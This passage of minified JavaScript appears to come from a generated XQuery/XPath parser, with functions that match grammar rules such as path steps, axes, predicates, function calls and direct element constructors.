47:xl(47);break;default:xl(26)}kl(265),Dr(),Jl(3,t,-1);continue}catch(a){Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(3,t,-2);break}}}if(_l!=-1&&_l!=46&&_l!=47)break;switch(Hl){case 46:xl(46);break;case 47:xl(47);break;default:xl(26)}kl(265),Dr()}}function _r(){Vl.startNonterminal(\"StepExpr\",Pl);switch(Hl){case 82:Ll(285);break;case 121:Ll(283);break;case 184:case 216:Ll(282);break;case 96:case 119:case 202:case 244:case 256:Ll(247);break;case 78:case 124:case 152:case 165:case 167:case 242:case 243:case 253:Ll(240);break;case 73:case 74:case 93:case 111:case 112:case 135:case 136:case 206:case 212:case 213:case 229:Ll(246);break;case 6:case 70:case 72:case 75:case 77:case 79:case 80:case 81:case 83:case 84:case 85:case 86:case 88:case 89:case 90:case 91:case 94:case 97:case 98:case 101:case 102:case 103:case 104:case 105:case 106:case 108:case 109:case 110:case 113:case 118:case 120:case 122:case 123:case 125:case 126:case 128:case 129:case 131:case 132:case 133:case 134:case 137:case 141:case 145:case 146:case 148:case 150:case 151:case 153:case 154:case 155:case 159:case 160:case 161:case 162:case 163:case 164:case 166:case 170:case 171:case 172:case 174:case 176:case 178:case 180:case 181:case 182:case 185:case 186:case 191:case 192:case 194:case 198:case 199:case 200:case 201:case 203:case 218:case 219:case 220:case 221:case 222:case 224:case 225:case 226:case 227:case 228:case 234:case 235:case 236:case 237:case 240:case 248:case 249:case 250:case 251:case 252:case 254:case 257:case 260:case 261:case 262:case 263:case 266:case 267:case 270:case 274:Ll(244);break;default:_l=Hl}if(_l==35922||_l==35961||_l==36024||_l==36056||_l==38482||_l==38521||_l==38584||_l==38616||_l==40530||_l==40569||_l==40632||_l==40664||_l==41042||_l==41081||_l==41144||_l==41176||_l==41554||_l==41593||_l==41656||_l==41688||_l==43090||_l==43129||_l==43192||_l==43224||_l==45138||_l==45177||_l==45240||_l==45272||_l==45650||_l==45689||_l==45752||_l==45784||_l==46162||_l==46201||_l==46264||_l==46296||_l==48210||_l==48249||_l==48312||_l==48344||_l==53842||_l==53881||_l==53944||_l==53976||_l==55890||_l==55929||_l==55992||_l==56024||_l==57938||_l==57977||_l==58040||_l==58072||_l==60498||_l==60537||_l==60600||_l==60632||_l==62546||_l==62585||_l==62648||_l==62680||_l==63058||_l==63097||_l==63160||_l==63192||_l==64594||_l==64633||_l==64696||_l==64728||_l==65618||_l==65657||_l==65720||_l==65752||_l==67154||_l==67193||_l==67256||_l==67288||_l==70226||_l==70265||_l==70328||_l==70360||_l==74834||_l==74873||_l==74936||_l==74968||_l==75858||_l==75897||_l==75960||_l==75992||_l==76882||_l==76921||_l==76984||_l==77016||_l==77394||_l==77433||_l==77496||_l==77528||_l==82002||_l==82041||_l==82104||_l==82136||_l==83026||_l==83065||_l==83128||_l==83160||_l==83538||_l==83577||_l==83640||_l==83672||_l==84050||_l==84089||_l==84152||_l==84184||_l==88146||_l==88185||_l==88248||_l==88280||_l==89170||_l==89209||_l==89272||_l==89304||_l==91218||_l==91257||_l==91320||_l==91352||_l==92242||_l==92281||_l==92344||_l==92376||_l==92754||_l==92793||_l==92856||_l==92888||_l==95314||_l==95353||_l==95416||_l==95448||_l==101458||_l==101497||_l==101560||_l==101592||_l==102482||_l==102521||_l==102584||_l==102616||_l==102994||_l==103033||_l==103096||_l==103128||_l==112722||_l==112761||_l==112824||_l==112856||_l==114770||_l==114809||_l==114872||_l==114904||_l==120914||_l==120953||_l==121016||_l==121048||_l==121426||_l==121465||_l==121528||_l==121560||_l==127058||_l==127097||_l==127160||_l==127192||_l==127570||_l==127609||_l==127672||_l==127704||_l==130130||_l==130169||_l==130232||_l==130264||_l==136274||_l==136313||_l==136376||_l==136408||_l==138322||_l==138361||_l==138424||_l==138456){_l=Kl(4,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{Zr(),_l=-1}catch(a){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(4,Pl,_l)}}switch(_l){case-1:case 8:case 9:case 10:case 11:case 31:case 32:case 34:case 44:case 54:case 55:case 59:case 68:case 276:case 278:case 3154:case 3193:case 9912:case 9944:case 14854:case 14918:case 14920:case 14921:case 14922:case 14923:case 14925:case 14926:case 14927:case 14928:case 14929:case 14930:case 14931:case 14932:case 14933:case 14934:case 14936:case 14937:case 14938:case 14939:case 14941:case 14942:case 14944:case 14945:case 14946:case 14949:case 14950:case 14951:case 14952:case 14953:case 14954:case 14956:case 14957:case 14958:case 14959:case 14960:case 14961:case 14966:case 14967:case 14968:case 14969:case 14970:case 14971:case 14972:case 14973:case 14974:case 14976:case 14977:case 14979:case 14980:case 14981:case 14982:case 14983:case 14984:case 14985:case 14989:case 14993:case 14994:case 14996:case 14998:case 14999:case 15e3:case 15001:case 15002:case 15003:case 15007:case 15008:case 15009:case 15010:case 15011:case 15012:case 15013:case 15014:case 15015:case 15018:case 15019:case 15020:case 15022:case 15024:case 15026:case 15028:case 15029:case 15030:case 15032:case 15033:case 15034:case 15039:case 15040:case 15042:case 15046:case 15047:case 15048:case 15049:case 15050:case 15051:case 15054:case 15060:case 15061:case 15064:case 15066:case 15067:case 15068:case 15069:case 15070:case 15072:case 15073:case 15074:case 15075:case 15076:case 15077:case 15082:case 15083:case 15084:case 15085:case 15088:case 15090:case 15091:case 15092:case 15096:case 15097:case 15098:case 15099:case 15100:case 15101:case 15102:case 15104:case 15105:case 15108:case 15109:case 15110:case 15111:case 15114:case 15115:case 15118:case 15122:case 17414:case 17478:case 17480:case 17481:case 17482:case 17483:case 17485:case 17487:case 17488:case 17489:case 17491:case 17492:case 17493:case 17494:case 17496:case 17497:case 17498:case 17499:case 17501:case 17502:case 17505:case 17506:case 17509:case 17510:case 17511:case 17512:case 17513:case 17514:case 17516:case 17517:case 17518:case 17519:case 17520:case 17521:case 17526:case 17527:case 17530:case 17531:case 17533:case 17534:case 17536:case 17537:case 17539:case 17540:case 17541:case 17542:case 17543:case 17544:case 17545:case 17549:case 17553:case 17554:case 17556:case 17558:case 17559:case 17561:case 17562:case 17563:case 17567:case 17568:case 17569:case 17570:case 17571:case 17572:case 17574:case 17578:case 17579:case 17580:case 17582:case 17584:case 17586:case 17588:case 17589:case 17590:case 17592:case 17594:case 17600:case 17602:case 17606:case 17607:case 17608:case 17609:case 17610:case 17611:case 17614:case 17620:case 17621:case 17626:case 17627:case 17628:case 17629:case 17630:case 17632:case 17633:case 17636:case 17637:case 17642:case 17643:case 17644:case 17645:case 17648:case 17656:case 17657:case 17658:case 17659:case 17660:case 17662:case 17664:case 17665:case 17668:case 17669:case 17670:case 17671:case 17674:case 17675:case 17678:case 17682:case 36946:case 36985:case 37048:case 37080:case 37458:case 37497:case 37560:case 37592:case 37970:case 38009:case 38072:case 38104:case 39506:case 39545:case 39608:case 39640:case 40018:case 40057:case 42066:case 42105:case 42168:case 42200:case 42578:case 42617:case 42680:case 42712:case 43602:case 43641:case 43704:case 43736:case 44114:case 44153:case 44216:case 44248:case 46674:case 46713:case 46776:case 46808:case 47698:case 47737:case 47800:case 47832:case 49234:case 49273:case 49336:case 49368:case 49746:case 49785:case 49848:case 49880:case 50258:case 50297:case 50360:case 50392:case 51794:case 51833:case 51896:case 51928:case 52306:case 52345:case 52408:case 52440:case 52818:case 52857:case 52920:case 52952:case 53330:case 53369:case 53432:case 53464:case 54354:case 54393:case 54456:case 54488:case 55378:case 55417:case 55480:case 55512:case 56402:case 56441:case 56504:case 56536:case 56914:case 56953:case 57016:case 57048:case 57426:case 57465:case 57528:case 57560:case 61010:case 61049:case 61112:case 61144:case 61522:case 61561:case 61624:case 61656:case 62034:case 62073:case 62136:case 62168:case 63570:case 63609:case 63672:case 63704:case 64082:case 64121:case 64184:case 64216:case 66130:case 66169:case 66232:case 66264:case 67666:case 67705:case 67768:case 67800:case 68178:case 68217:case 68280:case 68312:case 68690:case 68729:case 68792:case 68824:case 69202:case 69241:case 69304:case 69336:case 69714:case 69753:case 69816:case 69848:case 72274:case 72313:case 72376:case 72408:case 74322:case 74361:case 74424:case 74456:case 77906:case 77945:case 78008:case 78040:case 78418:case 78457:case 78520:case 78552:case 78930:case 78969:case 79032:case 79064:case 79442:case 79481:case 79544:case 79576:case 81490:case 81529:case 81592:case 81624:case 82514:case 82553:case 82616:case 82648:case 84562:case 84601:case 84664:case 84696:case 85074:case 85113:case 85176:case 85208:case 85586:case 85625:case 87122:case 87161:case 87224:case 87256:case 87634:case 87673:case 87736:case 87768:case 90194:case 90233:case 90296:case 90328:case 93266:case 93305:case 93368:case 93400:case 94290:case 94329:case 94392:case 94424:case 94802:case 94841:case 94904:case 94936:case 97874:case 97913:case 97976:case 98008:case 98386:case 98425:case 98488:case 98520:case 99410:case 99449:case 99512:case 99544:case 101970:case 102009:case 102072:case 102104:case 103506:case 103545:case 103608:case 103640:case 104018:case 104057:case 104120:case 104152:case 105554:case 105593:case 105656:case 105688:case 108626:case 108665:case 108728:case 108760:case 109138:case 109177:case 109240:case 109272:case 110674:case 110713:case 110776:case 110808:case 111698:case 111737:case 111800:case 111832:case 112210:case 112249:case 112312:case 112344:case 113234:case 113273:case 113336:case 113368:case 113746:case 113785:case 113848:case 113880:case 115282:case 115321:case 115384:case 115416:case 115794:case 115833:case 115896:case 115928:case 116306:case 116345:case 116408:case 116440:case 116818:case 116857:case 116920:case 116952:case 117330:case 117369:case 117432:case 117464:case 119890:case 119929:case 119992:case 120024:case 120402:case 120441:case 120504:case 120536:case 122962:case 123001:case 123064:case 123096:case 123986:case 124025:case 124498:case 124537:case 124600:case 124632:case 125010:case 125049:case 125112:case 125144:case 128082:case 128121:case 128184:case 128216:case 128594:case 128633:case 128696:case 128728:case 129106:case 129145:case 129208:case 129240:case 129618:case 129657:case 129720:case 129752:case 131154:case 131193:case 131256:case 131288:case 131666:case 131705:case 131768:case 131800:case 133202:case 133241:case 133304:case 133336:case 133714:case 133753:case 133816:case 133848:case 134226:case 134265:case 134328:case 134360:case 134738:case 134777:case 134840:case 134872:case 136786:case 136825:case 136888:case 136920:case 140370:case 140409:case 140472:case 140504:case 141394:case 141408:case 141431:case 141433:case 141496:case 141514:case 141528:case 141556:case 141568:Yr();break;default:Pr()}Vl.endNonterminal(\"StepExpr\",Pl)}function Dr(){switch(Hl){case 82:Ll(285);break;case 121:Ll(283);break;case 184:case 216:Ll(282);break;case 96:case 119:case 202:case 244:case 256:Ll(247);break;case 78:case 124:case 152:case 165:case 167:case 242:case 243:case 253:Ll(240);break;case 73:case 74:case 93:case 111:case 112:case 135:case 136:case 206:case 212:case 213:case 229:Ll(246);break;case 6:case 70:case 72:case 75:case 77:case 79:case 80:case 81:case 83:case 84:case 85:case 86:case 88:case 89:case 90:case 91:case 94:case 97:case 98:case 101:case 102:case 103:case 104:case 105:case 106:case 108:case 109:case 110:case 113:case 118:case 120:case 122:case 123:case 125:case 126:case 128:case 129:case 131:case 132:case 133:case 134:case 137:case 141:case 145:case 146:case 148:case 150:case 151:case 153:case 154:case 155:case 159:case 160:case 161:case 162:case 163:case 164:case 166:case 170:case 171:case 172:case 174:case 176:case 178:case 180:case 181:case 182:case 185:case 186:case 191:case 192:case 194:case 198:case 199:case 200:case 201:case 203:case 218:case 219:case 220:case 221:case 222:case 224:case 225:case 226:case 227:case 228:case 234:case 235:case 236:case 237:case 240:case 248:case 249:case 250:case 251:case 252:case 254:case 257:case 260:case 261:case 262:case 263:case 266:case 267:case 270:case 274:Ll(244);break;default:_l=Hl}if(_l==35922||_l==35961||_l==36024||_l==36056||_l==38482||_l==38521||_l==38584||_l==38616||_l==40530||_l==40569||_l==40632||_l==40664||_l==41042||_l==41081||_l==41144||_l==41176||_l==41554||_l==41593||_l==41656||_l==41688||_l==43090||_l==43129||_l==43192||_l==43224||_l==45138||_l==45177||_l==45240||_l==45272||_l==45650||_l==45689||_l==45752||_l==45784||_l==46162||_l==46201||_l==46264||_l==46296||_l==48210||_l==48249||_l==48312||_l==48344||_l==53842||_l==53881||_l==53944||_l==53976||_l==55890||_l==55929||_l==55992||_l==56024||_l==57938||_l==57977||_l==58040||_l==58072||_l==60498||_l==60537||_l==60600||_l==60632||_l==62546||_l==62585||_l==62648||_l==62680||_l==63058||_l==63097||_l==63160||_l==63192||_l==64594||_l==64633||_l==64696||_l==64728||_l==65618||_l==65657||_l==65720||_l==65752||_l==67154||_l==67193||_l==67256||_l==67288||_l==70226||_l==70265||_l==70328||_l==70360||_l==74834||_l==74873||_l==74936||_l==74968||_l==75858||_l==75897||_l==75960||_l==75992||_l==76882||_l==76921||_l==76984||_l==77016||_l==77394||_l==77433||_l==77496||_l==77528||_l==82002||_l==82041||_l==82104||_l==82136||_l==83026||_l==83065||_l==83128||_l==83160||_l==83538||_l==83577||_l==83640||_l==83672||_l==84050||_l==84089||_l==84152||_l==84184||_l==88146||_l==88185||_l==88248||_l==88280||_l==89170||_l==89209||_l==89272||_l==89304||_l==91218||_l==91257||_l==91320||_l==91352||_l==92242||_l==92281||_l==92344||_l==92376||_l==92754||_l==92793||_l==92856||_l==92888||_l==95314||_l==95353||_l==95416||_l==95448||_l==101458||_l==101497||_l==101560||_l==101592||_l==102482||_l==102521||_l==102584||_l==102616||_l==102994||_l==103033||_l==103096||_l==103128||_l==112722||_l==112761||_l==112824||_l==112856||_l==114770||_l==114809||_l==114872||_l==114904||_l==120914||_l==120953||_l==121016||_l==121048||_l==121426||_l==121465||_l==121528||_l==121560||_l==127058||_l==127097||_l==127160||_l==127192||_l==127570||_l==127609||_l==127672||_l==127704||_l==130130||_l==130169||_l==130232||_l==130264||_l==136274||_l==136313||_l==136376||_l==136408||_l==138322||_l==138361||_l==138424||_l==138456){_l=Kl(4,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{Zr(),Jl(4,t,-1),_l=-3}catch(a){_l=-2,Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(4,t,-2)}}}switch(_l){case-1:case 8:case 9:case 10:case 11:case 31:case 32:case 34:case 44:case 54:case 55:case 59:case 68:case 276:case 278:case 3154:case 3193:case 9912:case 9944:case 14854:case 14918:case 14920:case 14921:case 14922:case 14923:case 14925:case 14926:case 14927:case 14928:case 14929:case 14930:case 14931:case 14932:case 14933:case 14934:case 14936:case 14937:case 14938:case 14939:case 14941:case 14942:case 14944:case 14945:case 14946:case 14949:case 14950:case 14951:case 14952:case 14953:case 14954:case 14956:case 14957:case 14958:case 14959:case 14960:case 14961:case 14966:case 14967:case 14968:case 14969:case 14970:case 14971:case 14972:case 14973:case 14974:case 14976:case 14977:case 14979:case 14980:case 14981:case 14982:case 14983:case 14984:case 14985:case 14989:case 14993:case 14994:case 14996:case 14998:case 14999:case 15e3:case 15001:case 15002:case 15003:case 15007:case 15008:case 15009:case 15010:case 15011:case 15012:case 15013:case 15014:case 15015:case 15018:case 15019:case 15020:case 15022:case 15024:case 15026:case 15028:case 15029:case 15030:case 15032:case 15033:case 15034:case 15039:case 15040:case 15042:case 15046:case 15047:case 15048:case 15049:case 15050:case 15051:case 15054:case 15060:case 15061:case 15064:case 15066:case 15067:case 15068:case 15069:case 15070:case 15072:case 15073:case 15074:case 15075:case 15076:case 15077:case 15082:case 15083:case 15084:case 15085:case 15088:case 15090:case 15091:case 15092:case 15096:case 15097:case 15098:case 15099:case 15100:case 15101:case 15102:case 15104:case 15105:case 15108:case 15109:case 15110:case 15111:case 15114:case 15115:case 15118:case 15122:case 17414:case 17478:case 17480:case 17481:case 17482:case 17483:case 17485:case 17487:case 17488:case 17489:case 17491:case 17492:case 17493:case 17494:case 17496:case 17497:case 17498:case 17499:case 17501:case 17502:case 17505:case 17506:case 17509:case 17510:case 17511:case 17512:case 17513:case 17514:case 17516:case 17517:case 17518:case 17519:case 17520:case 17521:case 17526:case 17527:case 17530:case 17531:case 17533:case 17534:case 17536:case 17537:case 17539:case 17540:case 17541:case 17542:case 17543:case 17544:case 17545:case 17549:case 17553:case 17554:case 17556:case 17558:case 17559:case 17561:case 17562:case 17563:case 17567:case 17568:case 17569:case 17570:case 17571:case 17572:case 17574:case 17578:case 17579:case 17580:case 17582:case 17584:case 17586:case 17588:case 17589:case 17590:case 17592:case 17594:case 17600:case 17602:case 17606:case 17607:case 17608:case 17609:case 17610:case 17611:case 17614:case 17620:case 17621:case 17626:case 17627:case 17628:case 17629:case 17630:case 17632:case 17633:case 17636:case 17637:case 17642:case 17643:case 17644:case 17645:case 17648:case 17656:case 17657:case 17658:case 17659:case 17660:case 17662:case 17664:case 17665:case 17668:case 17669:case 17670:case 17671:case 17674:case 17675:case 17678:case 17682:case 36946:case 36985:case 37048:case 37080:case 37458:case 37497:case 37560:case 37592:case 37970:case 38009:case 38072:case 38104:case 39506:case 39545:case 39608:case 39640:case 40018:case 40057:case 42066:case 42105:case 42168:case 42200:case 42578:case 42617:case 42680:case 42712:case 43602:case 43641:case 43704:case 43736:case 44114:case 44153:case 44216:case 44248:case 46674:case 46713:case 46776:case 46808:case 47698:case 47737:case 47800:case 47832:case 49234:case 49273:case 49336:case 49368:case 49746:case 49785:case 49848:case 49880:case 50258:case 50297:case 50360:case 50392:case 51794:case 51833:case 51896:case 51928:case 52306:case 52345:case 52408:case 52440:case 52818:case 52857:case 52920:case 52952:case 53330:case 53369:case 53432:case 53464:case 54354:case 54393:case 54456:case 54488:case 55378:case 55417:case 55480:case 55512:case 56402:case 56441:case 56504:case 56536:case 56914:case 56953:case 57016:case 57048:case 57426:case 57465:case 57528:case 57560:case 61010:case 61049:case 61112:case 61144:case 61522:case 61561:case 61624:case 61656:case 62034:case 62073:case 62136:case 62168:case 63570:case 63609:case 63672:case 63704:case 64082:case 64121:case 64184:case 64216:case 66130:case 66169:case 66232:case 66264:case 67666:case 67705:case 67768:case 67800:case 68178:case 68217:case 68280:case 68312:case 68690:case 68729:case 68792:case 68824:case 69202:case 69241:case 69304:case 69336:case 69714:case 69753:case 69816:case 69848:case 72274:case 72313:case 72376:case 72408:case 74322:case 74361:case 74424:case 74456:case 77906:case 77945:case 78008:case 78040:case 78418:case 78457:case 78520:case 78552:case 78930:case 78969:case 79032:case 79064:case 79442:case 79481:case 79544:case 79576:case 81490:case 81529:case 81592:case 81624:case 82514:case 82553:case 82616:case 82648:case 84562:case 84601:case 84664:case 84696:case 85074:case 85113:case 85176:case 85208:case 85586:case 85625:case 87122:case 87161:case 87224:case 87256:case 87634:case 87673:case 87736:case 87768:case 90194:case 90233:case 90296:case 90328:case 93266:case 93305:case 93368:case 93400:case 94290:case 94329:case 94392:case 94424:case 94802:case 94841:case 94904:case 94936:case 97874:case 97913:case 97976:case 98008:case 98386:case 98425:case 98488:case 98520:case 99410:case 99449:case 99512:case 99544:case 101970:case 102009:case 102072:case 102104:case 103506:case 103545:case 103608:case 103640:case 104018:case 104057:case 104120:case 104152:case 105554:case 105593:case 105656:case 105688:case 108626:case 108665:case 108728:case 108760:case 109138:case 109177:case 109240:case 109272:case 110674:case 110713:case 110776:case 110808:case 111698:case 111737:case 111800:case 111832:case 112210:case 112249:case 112312:case 112344:case 113234:case 113273:case 113336:case 113368:case 113746:case 113785:case 113848:case 113880:case 115282:case 115321:case 115384:case 115416:case 115794:case 115833:case 115896:case 115928:case 116306:case 116345:case 116408:case 116440:case 116818:case 116857:case 116920:case 116952:case 117330:case 117369:case 117432:case 117464:case 119890:case 119929:case 119992:case 120024:case 120402:case 120441:case 120504:case 120536:case 122962:case 123001:case 123064:case 123096:case 123986:case 124025:case 124498:case 124537:case 124600:case 124632:case 125010:case 125049:case 125112:case 125144:case 128082:case 128121:case 128184:case 128216:case 128594:case 128633:case 128696:case 128728:case 129106:case 129145:case 129208:case 129240:case 129618:case 129657:case 129720:case 129752:case 131154:case 131193:case 131256:case 131288:case 131666:case 131705:case 131768:case 131800:case 133202:case 133241:case 133304:case 133336:case 133714:case 133753:case 133816:case 133848:case 134226:case 134265:case 134328:case 134360:case 134738:case 134777:case 134840:case 134872:case 136786:case 136825:case 136888:case 136920:case 140370:case 140409:case 140472:case 140504:case 141394:case 141408:case 141431:case 141433:case 141496:case 141514:case 141528:case 141556:case 141568:Zr();break;case-3:break;default:Hr()}}function Pr(){Vl.startNonterminal(\"AxisStep\",Pl);switch(Hl){case 73:case 74:case 206:case 212:case 213:Ll(242);break;default:_l=Hl}switch(_l){case 45:case 26185:case 26186:case 26318:case 26324:case 26325:Ur();break;default:Br()}kl(238),Nl(),ni(),Vl.endNonterminal(\"AxisStep\",Pl)}function Hr(){switch(Hl){case 73:case 74:case 206:case 212:case 213:Ll(242);break;default:_l=Hl}switch(_l){case 45:case 26185:case 26186:case 26318:case 26324:case 26325:zr();break;default:jr()}kl(238),ri()}function Br(){Vl.startNonterminal(\"ForwardStep\",Pl);switch(Hl){case 82:Ll(245);break;case 93:case 111:case 112:case 135:case 136:case 229:Ll(242);break;default:_l=Hl}switch(_l){case 26194:case 26205:case 26223:case 26224:case 26247:case 26248:case 26341:Fr(),kl(257),Nl(),Jr();break;default:qr()}Vl.endNonterminal(\"ForwardStep\",Pl)}function jr(){switch(Hl){case 82:Ll(245);break;case 93:case 111:case 112:case 135:case 136:case 229:Ll(242);break;default:_l=Hl}switch(_l){case 26194:case 26205:case 26223:case 26224:case 26247:case 26248:case 26341:Ir(),kl(257),Kr();break;default:Rr()}}function Fr(){Vl.startNonterminal(\"ForwardAxis\",Pl);switch(Hl){case 93:Sl(93),kl(26),Sl(51);break;case 111:Sl(111),kl(26),Sl(51);break;case 82:Sl(82),kl(26),Sl(51);break;case 229:Sl(229),kl(26),Sl(51);break;case 112:Sl(112),kl(26),Sl(51);break;case 136:Sl(136),kl(26),Sl(51);break;default:Sl(135),kl(26),Sl(51)}Vl.endNonterminal(\"ForwardAxis\",Pl)}function Ir(){switch(Hl){case 93:xl(93),kl(26),xl(51);break;case 111:xl(111),kl(26),xl(51);break;case 82:xl(82),kl(26),xl(51);break;case 229:xl(229),kl(26),xl(51);break;case 112:xl(112),kl(26),xl(51);break;case 136:xl(136),kl(26),xl(51);break;default:xl(135),kl(26),xl(51)}}function qr(){Vl.startNonterminal(\"AbbrevForwardStep\",Pl),Hl==66&&Sl(66),kl(257),Nl(),Jr(),Vl.endNonterminal(\"AbbrevForwardStep\",Pl)}function Rr(){Hl==66&&xl(66),kl(257),Kr()}function Ur(){Vl.startNonterminal(\"ReverseStep\",Pl);switch(Hl){case 45:Vr();break;default:Wr(),kl(257),Nl(),Jr()}Vl.endNonterminal(\"ReverseStep\",Pl)}function zr(){switch(Hl){case 45:$r();break;default:Xr(),kl(257),Kr()}}function Wr(){Vl.startNonterminal(\"ReverseAxis\",Pl);switch(Hl){case 206:Sl(206),kl(26),Sl(51);break;case 73:Sl(73),kl(26),Sl(51);break;case 213:Sl(213),kl(26),Sl(51);break;case 212:Sl(212),kl(26),Sl(51);break;default:Sl(74),kl(26),Sl(51)}Vl.endNonterminal(\"ReverseAxis\",Pl)}function Xr(){switch(Hl){case 206:xl(206),kl(26),xl(51);break;case 73:xl(73),kl(26),xl(51);break;case 213:xl(213),kl(26),xl(51);break;case 212:xl(212),kl(26),xl(51);break;default:xl(74),kl(26),xl(51)}}function Vr(){Vl.startNonterminal(\"AbbrevReverseStep\",Pl),Sl(45),Vl.endNonterminal(\"AbbrevReverseStep\",Pl)}function $r(){xl(45)}function Jr(){Vl.startNonterminal(\"NodeTest\",Pl);switch(Hl){case 82:case 96:case 120:case 121:case 185:case 191:case 216:case 226:case 227:case 244:Ll(241);break;default:_l=Hl}switch(_l){case 17490:case 17504:case 17528:case 17529:case 17593:case 17599:case 17624:case 17634:case 17635:case 17652:Ps();break;default:Qr()}Vl.endNonterminal(\"NodeTest\",Pl)}function Kr(){switch(Hl){case 82:case 96:case 120:case 121:case 185:case 191:case 216:case 226:case 227:case 244:Ll(241);break;default:_l=Hl}switch(_l){case 17490:case 17504:case 17528:case 17529:case 17593:case 17599:case 17624:case 17634:case 17635:case 17652:Hs();break;default:Gr()}}function Qr(){Vl.startNonterminal(\"NameTest\",Pl);switch(Hl){case 5:Sl(5);break;default:Ha()}Vl.endNonterminal(\"NameTest\",Pl)}function Gr(){switch(Hl){case 5:xl(5);break;default:Ba()}}function Yr(){Vl.startNonterminal(\"PostfixExpr\",Pl),ol();for(;;){kl(241);if(Hl!=34&&Hl!=68)break;switch(Hl){case 68:Nl(),ii();break;default:Nl(),ei()}}Vl.endNonterminal(\"PostfixExpr\",Pl)}function Zr(){ul();for(;;){kl(241);if(Hl!=34&&Hl!=68)break;switch(Hl){case 68:si();break;default:ti()}}}function ei(){Vl.startNonterminal(\"ArgumentList\",Pl),Sl(34),kl(276);if(Hl!=37){Nl(),Ti();for(;;){kl(101);if(Hl!=41)break;Sl(41),kl(271),Nl(),Ti()}}Sl(37),Vl.endNonterminal(\"ArgumentList\",Pl)}function ti(){xl(34),kl(276);if(Hl!=37){Ni();for(;;){kl(101);if(Hl!=41)break;xl(41),kl(271),Ni()}}xl(37)}function ni(){Vl.startNonterminal(\"PredicateList\",Pl);for(;;){kl(238);if(Hl!=68)break;Nl(),ii()}Vl.endNonterminal(\"PredicateList\",Pl)}function ri(){for(;;){kl(238);if(Hl!=68)break;si()}}function ii(){Vl.startNonterminal(\"Predicate\",Pl),Sl(68),kl(267),Nl(),G(),Sl(69),Vl.endNonterminal(\"Predicate\",Pl)}function si(){xl(68),kl(267),Y(),xl(69)}function oi(){Vl.startNonterminal(\"Literal\",Pl);switch(Hl){case 11:Sl(11);break;default:ai()}Vl.endNonterminal(\"Literal\",Pl)}function ui(){switch(Hl){case 11:xl(11);break;default:fi()}}function ai(){Vl.startNonterminal(\"NumericLiteral\",Pl);switch(Hl){case 8:Sl(8);break;case 9:Sl(9);break;default:Sl(10)}Vl.endNonterminal(\"NumericLiteral\",Pl)}function fi(){switch(Hl){case 8:xl(8);break;case 9:xl(9);break;default:xl(10)}}function li(){Vl.startNonterminal(\"VarRef\",Pl),Sl(31),kl(255),Nl(),hi(),Vl.endNonterminal(\"VarRef\",Pl)}function ci(){xl(31),kl(255),pi()}function hi(){Vl.startNonterminal(\"VarName\",Pl),Ha(),Vl.endNonterminal(\"VarName\",Pl)}function pi(){Ba()}function di(){Vl.startNonterminal(\"ParenthesizedExpr\",Pl),Sl(34),kl(269),Hl!=37&&(Nl(),G()),Sl(37),Vl.endNonterminal(\"ParenthesizedExpr\",Pl)}function vi(){xl(34),kl(269),Hl!=37&&Y(),xl(37)}function mi(){Vl.startNonterminal(\"ContextItemExpr\",Pl),Sl(44),Vl.endNonterminal(\"ContextItemExpr\",Pl)}function gi(){xl(44)}function yi(){Vl.startNonterminal(\"OrderedExpr\",Pl),Sl(202),kl(87),Sl(276),kl(267),Nl(),G(),Sl(282),Vl.endNonterminal(\"OrderedExpr\",Pl)}function bi(){xl(202),kl(87),xl(276),kl(267),Y(),xl(282)}function wi(){Vl.startNonterminal(\"UnorderedExpr\",Pl),Sl(256),kl(87),Sl(276),kl(267),Nl(),G(),Sl(282),Vl.endNonterminal(\"UnorderedExpr\",Pl)}function Ei(){xl(256),kl(87),xl(276),kl(267),Y(),xl(282)}function Si(){Vl.startNonterminal(\"FunctionCall\",Pl),ja(),kl(22),Nl(),ei(),Vl.endNonterminal(\"FunctionCall\",Pl)}function xi(){Fa(),kl(22),ti()}function Ti(){Vl.startNonterminal(\"Argument\",Pl);switch(Hl){case 64:Ci();break;default:_f()}Vl.endNonterminal(\"Argument\",Pl)}function Ni(){switch(Hl){case 64:ki();break;default:Df()}}function Ci(){Vl.startNonterminal(\"ArgumentPlaceholder\",Pl),Sl(64),Vl.endNonterminal(\"ArgumentPlaceholder\",Pl)}function ki(){xl(64)}function Li(){Vl.startNonterminal(\"Constructor\",Pl);switch(Hl){case 54:case 55:case 59:Oi();break;default:Ji()}Vl.endNonterminal(\"Constructor\",Pl)}function Ai(){switch(Hl){case 54:case 55:case 59:Mi();break;default:Ki()}}function Oi(){Vl.startNonterminal(\"DirectConstructor\",Pl);switch(Hl){case 54:_i();break;case 55:Wi();break;default:Vi()}Vl.endNonterminal(\"DirectConstructor\",Pl)}function Mi(){switch(Hl){case 54:Di();break;case 55:Xi();break;default:$i()}}function _i(){Vl.startNonterminal(\"DirElemConstructor\",Pl),Sl(54),Al(4),Sl(20),Pi();switch(Hl){case 48:Sl(48);break;default:Sl(61);for(;;){Al(174);if(Hl==56)break;Ui()}Sl(56),Al(4),Sl(20),Al(12),Hl==21&&Sl(21),Al(8),Sl(61)}Vl.endNonterminal(\"DirElemConstructor\",Pl)}function Di(){xl(54),Al(4),xl(20),Hi();switch(Hl){case 48:xl(48);break;default:xl(61);for(;;){Al(174);if(Hl==56)break;zi()}xl(56),Al(4),xl(20),Al(12),Hl==21&&xl(21),Al(8),xl(61)}}function Pi(){Vl.startNonterminal(\"DirAttributeList\",Pl);for(;;){Al(19);if(Hl!=21)break;Sl(21),Al(91),Hl==20&&(Sl(20),Al(11),Hl==21&&Sl(21),Al(7),Sl(60),Al(18),Hl==21&&Sl(21),Bi())}Vl.endNonterminal(\"DirAttributeList\",Pl)}function Hi(){for(;;){Al(19);if(Hl!=21)break;xl(21),Al(91),Hl==20&&(xl(20),Al(11),Hl==21&&xl(21),Al(7),xl(60),Al(18),Hl==21&&xl(21),ji())}}function 